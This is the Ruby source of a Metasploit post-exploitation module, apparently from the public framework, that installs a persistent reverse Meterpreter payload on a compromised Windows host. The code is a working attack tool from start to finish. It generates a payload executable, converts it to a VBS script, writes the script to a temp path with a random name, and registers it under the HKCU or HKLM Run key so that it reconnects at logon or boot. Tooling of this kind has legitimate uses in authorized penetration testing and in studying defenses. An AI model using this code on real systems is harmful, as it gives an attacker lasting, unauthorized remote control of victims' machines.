##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/registry'
require 'msf/core/exploit/exe'

class Metasploit3 < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Common
  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Registry
  include Exploit::EXE

  def initialize(info={})
    super( update_info( info,
      'Name'          => 'Windows Manage Persistent Payload Installer',
      'Description'   => %q{
        This Module will create a boot persistent reverse Meterpreter session by
        installing on the target host the payload as a script that will be executed
        at user logon or system startup depending on privilege and selected startup
        method.
      },
      'License'       => MSF_LICENSE,
      'Author'        =>
        [
          'Carlos Perez <carlos_perez[at]darkoperator.com>'
        ],
      'Platform'      => [ 'win' ],
      'SessionTypes'  => [ 'meterpreter' ],
      'Targets'       => [ [ 'Windows', {} ] ],
      'DefaultTarget' => 0,
      'DisclosureDate'=> "Oct 19 2011"
    ))

    register_options(
      [
        OptInt.new('DELAY', [true, 'Delay in seconds for persistent payload to reconnect.', 5]),
        OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]),
        OptString.new('REXENAME',[false, 'The name to call payload on remote system.', nil]),
        OptString.new('REG_NAME',[false, 'The name to call registry value for persistence on remote system','']),
        OptString.new('PATH',[false, 'Path to write payload']),
      ], self.class)
  end

  # Exploit Method for when exploit command is issued
  def exploit
    print_status("Running module against #{sysinfo['Computer']}")

    rexename = datastore['REXENAME']
    delay = datastore['DELAY']
    reg_val = datastore['REG_NAME']
    @clean_up_rc = ""
    host,port = session.session_host, session.session_port

    exe = generate_payload_exe
    script = ::Msf::Util::EXE.to_exe_vbs(exe, {:persist => true, :delay => delay})
    script_on_target = write_script_to_target(script, rexename)

    # exit the module because we failed to write the file on the target host.
    return unless script_on_target

    # Initial execution of script

    case datastore['STARTUP']
    when 'USER'
      # if we could not write the entry in the registy we exit the module.
      return unless write_to_reg("HKCU", script_on_target, reg_val)
    when 'SYSTEM'
      # if we could not write the entry in the registy we exit the module.
      return unless write_to_reg("HKLM", script_on_target, reg_val)
    end

    clean_rc = log_file()
    file_local_write(clean_rc, @clean_up_rc)
    print_status("Cleanup Meterpreter RC File: #{clean_rc}")

    report_note(:host => host,
      :type => "host.persistance.cleanup",
      :data => {
        :local_id    => session.sid,
        :stype       => session.type,
        :desc        => session.info,
        :platform    => session.platform,
        :via_payload => session.via_payload,
        :via_exploit => session.via_exploit,
        :created_at  => Time.now.utc,
        :commands    => @clean_up_rc
      }
    )
  end

  # Function for creating log folder and returning log path
  def log_file(log_path = nil)
    #Get hostname
    host = session.sys.config.sysinfo["Computer"]

    # Create Filename info to be appended to downloaded files
    filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")

    # Create a directory for the logs
    if log_path
      logs = ::File.join(log_path, 'logs', 'persistence',
                         Rex::FileUtils.clean_path(host + filenameinfo) )
    else
      logs = ::File.join(Msf::Config.log_directory, 'persistence',
                         Rex::FileUtils.clean_path(host + filenameinfo) )
    end

    # Create the log directory
    ::FileUtils.mkdir_p(logs)

    #logfile name
    logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
    return logfile
  end

  # Writes script to target host and returns the pathname of the target file or nil if the
  # file could not be written.
  def write_script_to_target(vbs, name)
    tempdir = datastore['PATH'] || session.sys.config.getenv('TEMP')
    unless name
      tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
    else
      tempvbs = tempdir + "\\" + name + ".vbs"
    end
    begin
      write_file(tempvbs, vbs)
      print_good("Persistent Script written to #{tempvbs}")
      tempvbs = tempvbs.gsub(/\\/, '//')      # Escape windows pathname separators.
      @clean_up_rc << "rm #{tempvbs}\n"
    rescue
      print_error("Could not write the payload on the target hosts.")
      # return nil since we could not write the file on the target host.
      tempvbs = nil
    end
    return tempvbs
  end

  # Executes script on target and returns true if it was successfully started
  def target_exec(script_on_target)
    execsuccess = true
    print_status("Executing script #{script_on_target}")
    # error handling for process.execute() can throw a RequestError in send_request.
    begin
      unless datastore['EXE::Custom']
        session.shell_command_token(script_on_target)
      else
        session.shell_command_token("cscript \"#{script_on_target}\"")
      end
    rescue
      print_error("Failed to execute payload on target host.")
      execsuccess = false
    end
    return execsuccess
  end

  # Installs payload in to the registry HKLM or HKCU
  def write_to_reg(key, script_on_target, registry_value)
    nam = registry_value || Rex::Text.rand_text_alpha(rand(8)+8)
    key_path = "#{key.to_s}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"

    print_status("Installing into autorun as #{key_path}\\#{nam}")

    if key && registry_setvaldata(key_path, nam, script_on_target, "REG_SZ")
      print_good("Installed into autorun as #{key_path}\\#{nam}")
      return true
    else
      print_error("Failed to make entry in the registry for persistence.")
    end

    false
  end

end
